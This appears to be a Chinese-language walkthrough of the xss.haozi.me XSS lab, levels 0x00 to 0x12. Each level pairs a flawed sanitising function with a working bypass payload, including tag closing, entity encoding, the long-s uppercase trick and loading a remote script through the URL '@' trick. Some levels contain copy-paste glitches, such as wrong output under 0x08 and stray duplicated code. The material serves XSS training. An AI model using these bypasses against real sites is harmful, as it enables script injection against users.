xss.haozi.me

xss.haozi.me

参考资料:

https://www.bodkin.ren/index.php/archives/592/

https://github.com/haozi/xss-demo/issues/1

0x00

server code

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

分析

没有任何的过滤直接输出

input code

1
<script>alert(1)</script>

html

1
<div><script>alert(1)</script></div>

0x01

server code

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

分析

也没有任何的过滤,但是这里需要把前面的标签闭合

input code

1
</textarea><script>alert(1)</script>

html

1
<textarea></textarea><script>alert(1)</script></textarea>

0x02

server code

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

分析

这个也没有过滤,但是要想办法把引号和标签闭合

input code

1
"><script>alert(1)</script>

html

1
<input type="name" value=""><script>alert(1)</script>">

0x03

server code

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

分析

从这道题开始有了过滤。这道题用正则过滤掉了[]和(),可以使用单引号模版字符串绕过(也可以使用实体编码,可以看下一道题)

input code

1
<script>alert`1`</script>

html

1
<script>alert`1`</script>

0x04

server code

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

分析

这道题用正则过滤掉了[]、()和’,可以使用实体编码(https://github.com/WWILLV/Crypto/blob/master/Crypto/Code.cs#L400)

input code

1
<img src=x onerror="alert&#x28;1&#x29;">

html

1
<img src=x onerror="alert&#x28;1&#x29;">

0x05

server code

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}xxxxxxxxxx function render (input) {  input = input.replace(/-->/g, '😂')  return '<!-- ' + input + ' -->'}function render (input) {  const stripBracketsRe = /[()`]/g  input = input.replace(stripBracketsRe, '')  return input}javascript

分析

将html的-->注释符替换成笑脸并输出在html注释中。

可以使用--!>绕过并跳出注释(html注释<!--xxx--><!--xxx!-->

input code

1
--!><script>alert(1)</script><!--

html

1
<!-- --!><script>alert(1)</script><!-- -->

0x06

server code

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

分析

忽略大小写并过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_

可以用换行绕过

input code

1
2
3
4
5
6
1、
type=image src onerror
=alert(1)
2、
onmousemove
=alert(1)

html

1
2
<input value=1 type=image src onerror
=alert(1) type="text">

0x07

server code

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

分析

正则匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空

利用浏览器容错性,去掉>闭合绕过

input code

1
2
1、<svg/onload='alert(1)'(或<svg/onload=alert(1) (结尾要有一个空格或换行))
2、<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;

html

1
<article><svg/onload=alert(1) </article>

0x08

server code

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

分析

</style>标签替换成/ \u574F\u4EBA /,忽略大小写

1、在标签>闭合前加空格绕过(</style > 逃逸正则)

2、在标签>闭合前换行绕过

input code

1
2
3
1、</style ><script>alert(1)</script>
2、</style
><script>alert(1)</script>

html

1
<article><svg/onload=alert(1) </article>

0x09

server code

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

分析

正则匹配以https://www.segmentfault.com开头的输入,若无匹配返回失败

输出正则匹配字符,闭合script标签,注释掉最后的">来绕过

(也可以构造符合正则的url,比如注册符合条件的域名,如https://www.segmentfault.com.example.com/eval.js)

input code

1
https://www.segmentfault.com"></script><script>alert(1)</script>//

html

1
<script src="https://www.segmentfault.com"></script><script>alert(1)</script>//"></script>

0x0A

server code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

分析

在0x09上增加过滤

输入点在<script>标签的src属性中,可以直接引入远端js文件绕过

(alert(1)的js官方提供地址:https://xss.haozi.me/j.js)

利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析

或者直接在给定的网址segmentfault.com 注册账号,新建一个笔记,内容为alert(1),再调用这个笔记链接即可,记得换行

input code

1
https://www.segmentfault.com@xss.haozi.me/j.js

html

1
<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

0x0B

server code

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

分析

将输入全部大写

1、html标签大小写无影响,可以直接引入外部js文件绕过

2、js严格区分大小写,但在html标签内可以使用html实体编码绕过

(html 标签, 域名 不区分大小写,path部分区分大小写)

input code

1
2
1、<script src="https://xss.haozi.me/j.js"></script>
2、<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

html

1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1>

0x0C

server code

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

分析

同上题的基础上过滤了script标签,忽略大小写且替换为空

由于只过滤一次,可以直接在script中插入script绕过

当然也可以采用html实体编码绕过

input code

1
<scriscriptpt src="https://xss.haozi.me/j.js"></scrscriptipt>

html

1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1>

0x0D

server code

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

分析

正则匹配</"'号,且替换为空,同时输入点在//注释后

由于输入点在script标签内,完全可以直接alert,使用换行绕过//注释行,弹窗后换行再行注释’)

由于过滤了/,即//和/**/的js注释失效,可以使用html注释–>闭合绕过

(可以换行过单行注释,但是代码不能正常运行,这里可使用 html 注释 –> 来注释 后面的js,使代码正常运行)

input code

1
2
3

alert(1);
-->

html

1
2
3
4
5
<script>
// alert('
alert(1);
-->')
</script>

0x0E

server code

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

分析

正则匹配<开头的字符串,替换为<_字母,且将输入全部大写

由于匹配了<+字母,拦截所有标签,后面绕过大写

这题需要解决两个问题:1. <s被正则替换坏了。 2. 大写的js无法正常运行.

解决方案:1. ſ 古英语中的s的写法, 转成大写是正常的S 2. 用外链的方式加载外部js

input code

1
<ſcript src="https://xss.haozi.me/j.js"></script>

html

1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1>

0x0F

server code

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

分析

将一些字符进行实体编码,输入点在console.error中

由于题目使用的是img标签,所有输入在标签内,而过滤的又将其转为html实体编码,所以无影响…

闭合’单引号和)括号,在img中的onerror属性中alert;

(对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js)

input code

1
');alert('1

html

1
<img src onerror="console.error('&#39;);alert(&#39;1')">

0x10

server code

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

分析

闭合前面的之后输出

input code

1
'1';alert(1)

html

1
2
3
<script>
window.data = '1';alert(1)
</script>

0x11

server code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

分析

过滤一些字符

输入点在自定义参数的字符串值中,/替换为//,但”双引号过滤后的/“正好将/引入在内

input code

1
"),alert(1)//

html

1
2
3
4
5
6
7
<script>
var url = 'javascript:console.log("\"),alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

0x12

server code

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

分析

匹配”双引号,并替换为\“

由于输入点在script标签外,则不能考虑html实体编码

“替换成\“,在实际输出中可以在添一个\来转义掉第一个\绕过

(” 被转义成 \” 经过html 解析后 里面变成 console.log("\")会报语法错误, 再补个 \ 即可)

input code

1
\");alert(1);//

html

1
<script>console.log("\\");alert(1);//");</script>xxxxxxxxxx <script>console.log("\\");alert(1);//");</script><script>  window.data = '1';alert(1)</script>html
0%